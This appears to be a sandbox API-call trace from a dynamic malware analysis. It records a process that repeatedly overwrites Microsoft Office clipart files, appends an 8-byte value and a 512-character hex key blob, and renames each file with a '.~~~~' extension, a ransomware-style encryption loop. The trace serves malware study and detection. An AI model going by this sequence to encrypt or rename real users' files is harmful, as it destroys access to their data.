	[0088.801] WriteFile (in: hFile=0x118, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0xcb3, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x26dfec0*=0xcb3, lpOverlapped=0x0) returned 1
	[0088.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0088.802] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.802] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.802] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.802] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.802] CloseHandle (hObject=0x118) returned 1
	[0088.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce8c0
	[0088.831] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.~~~~")) returned 1
	[0088.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce8c0 | out: hHeap=0x300000) returned 1
	[0088.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0088.832] GetLastError () returned 0x0
	[0088.832] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x395630) returned 1
	[0088.833] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.833] CryptReleaseContext (hProv=0x395630, dwFlags=0x0) returned 1
	[0088.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0088.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0088.833] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20882328100) returned 1
	[0088.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ebda9f0, dwHighDateTime=0x1d60e1e)) 
	[0088.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0088.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0088.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0088.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e51f8
	[0088.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e51f8 | out: hHeap=0x300000) returned 1
	[0088.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce8c0
	[0088.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0dc8
	[0088.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce8c0 | out: hHeap=0x300000) returned 1
	[0088.843] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0088.843] GetLastError () returned 0x0
	[0088.843] GetLastError () returned 0x0
	[0088.844] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0088.844] GetLastError () returned 0x0
	[0088.844] GetLastError () returned 0x0
	[0088.855] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffc434, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.855] WriteFile (in: hFile=0x118, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x3bcc, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x3bcc, lpOverlapped=0x0) returned 1
	[0088.859] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0088.859] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.859] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.859] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.859] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.859] CloseHandle (hObject=0x118) returned 1
	[0088.860] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce8c0
	[0088.860] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.~~~~")) returned 1
	[0088.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce8c0 | out: hHeap=0x300000) returned 1
	[0088.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0088.861] GetLastError () returned 0x0
	[0088.861] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x395630) returned 1
	[0088.862] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.862] CryptReleaseContext (hProv=0x395630, dwFlags=0x0) returned 1
	[0088.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0088.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0088.862] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20885230021) returned 1
	[0088.862] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ec26cb0, dwHighDateTime=0x1d60e1e)) 
	[0088.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0088.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0088.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0088.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e52a0
	[0088.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e52a0 | out: hHeap=0x300000) returned 1
	[0088.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce8c0
	[0088.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0d30
	[0088.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce8c0 | out: hHeap=0x300000) returned 1
	[0088.863] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0088.863] GetLastError () returned 0x0
	[0088.863] GetLastError () returned 0x0
	[0088.863] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0088.863] GetLastError () returned 0x0
	[0088.863] GetLastError () returned 0x0
	[0088.865] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffec5a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.865] WriteFile (in: hFile=0x118, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x13a6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x13a6, lpOverlapped=0x0) returned 1
	[0088.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0088.866] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.866] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.866] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.866] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.866] CloseHandle (hObject=0x118) returned 1
	[0088.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce818
	[0088.866] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.~~~~")) returned 1
	[0088.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce818 | out: hHeap=0x300000) returned 1
	[0088.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0088.867] GetLastError () returned 0x0
	[0088.867] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x395630) returned 1
	[0088.868] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.868] CryptReleaseContext (hProv=0x395630, dwFlags=0x0) returned 1
	[0088.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0088.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0088.868] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20885840503) returned 1
	[0088.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ec4ce10, dwHighDateTime=0x1d60e1e)) 
	[0088.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0088.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0088.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0088.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e52d8
	[0088.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e52d8 | out: hHeap=0x300000) returned 1
	[0088.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce818
	[0088.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.869] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b09a0
	[0088.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce818 | out: hHeap=0x300000) returned 1
	[0088.869] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0088.869] GetLastError () returned 0x0
	[0088.869] GetLastError () returned 0x0
	[0088.869] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0088.869] GetLastError () returned 0x0
	[0088.869] GetLastError () returned 0x0
	[0088.872] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffffb86, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.872] WriteFile (in: hFile=0x118, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x47a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x47a, lpOverlapped=0x0) returned 1
	[0088.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0088.873] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.873] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.873] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.873] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.873] CloseHandle (hObject=0x118) returned 1
	[0088.873] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.873] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.~~~~")) returned 1
	[0088.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0088.874] GetLastError () returned 0x0
	[0088.875] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x395630) returned 1
	[0088.876] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0088.876] CryptReleaseContext (hProv=0x395630, dwFlags=0x0) returned 1
	[0088.876] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0088.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0088.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0088.876] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20886631422) returned 1
	[0088.876] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ec4ce10, dwHighDateTime=0x1d60e1e)) 
	[0088.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0088.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0088.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0088.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5348
	[0088.876] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5348 | out: hHeap=0x300000) returned 1
	[0088.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.877] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0088.877] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.877] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0088.877] GetLastError () returned 0x0
	[0088.877] GetLastError () returned 0x0
	[0088.877] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0088.877] GetLastError () returned 0x0
	[0088.877] GetLastError () returned 0x0
	[0088.881] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xffffe4b8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0088.881] WriteFile (in: hFile=0x118, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1b48, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x1b48, lpOverlapped=0x0) returned 1
	[0088.882] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0088.882] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.882] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0088.882] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0088.882] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0088.882] CloseHandle (hObject=0x118) returned 1
	[0088.882] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cdcf0
	[0088.882] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.~~~~")) returned 1
	[0088.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.883] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0088.883] GetLastError () returned 0x0
	[0088.883] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x395630) returned 1
	[0088.884] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0088.884] CryptReleaseContext (hProv=0x395630, dwFlags=0x0) returned 1
	[0088.884] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0088.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0088.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0088.885] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20887473070) returned 1
	[0088.885] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ec72f70, dwHighDateTime=0x1d60e1e)) 
	[0088.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0088.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0088.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0088.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5380
	[0088.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0088.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5380 | out: hHeap=0x300000) returned 1
	[0088.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0088.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0088.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cdcf0
	[0088.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0088.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0a38
	[0088.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cdcf0 | out: hHeap=0x300000) returned 1
	[0088.885] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0088.885] GetLastError () returned 0x0
	[0088.886] GetLastError () returned 0x0
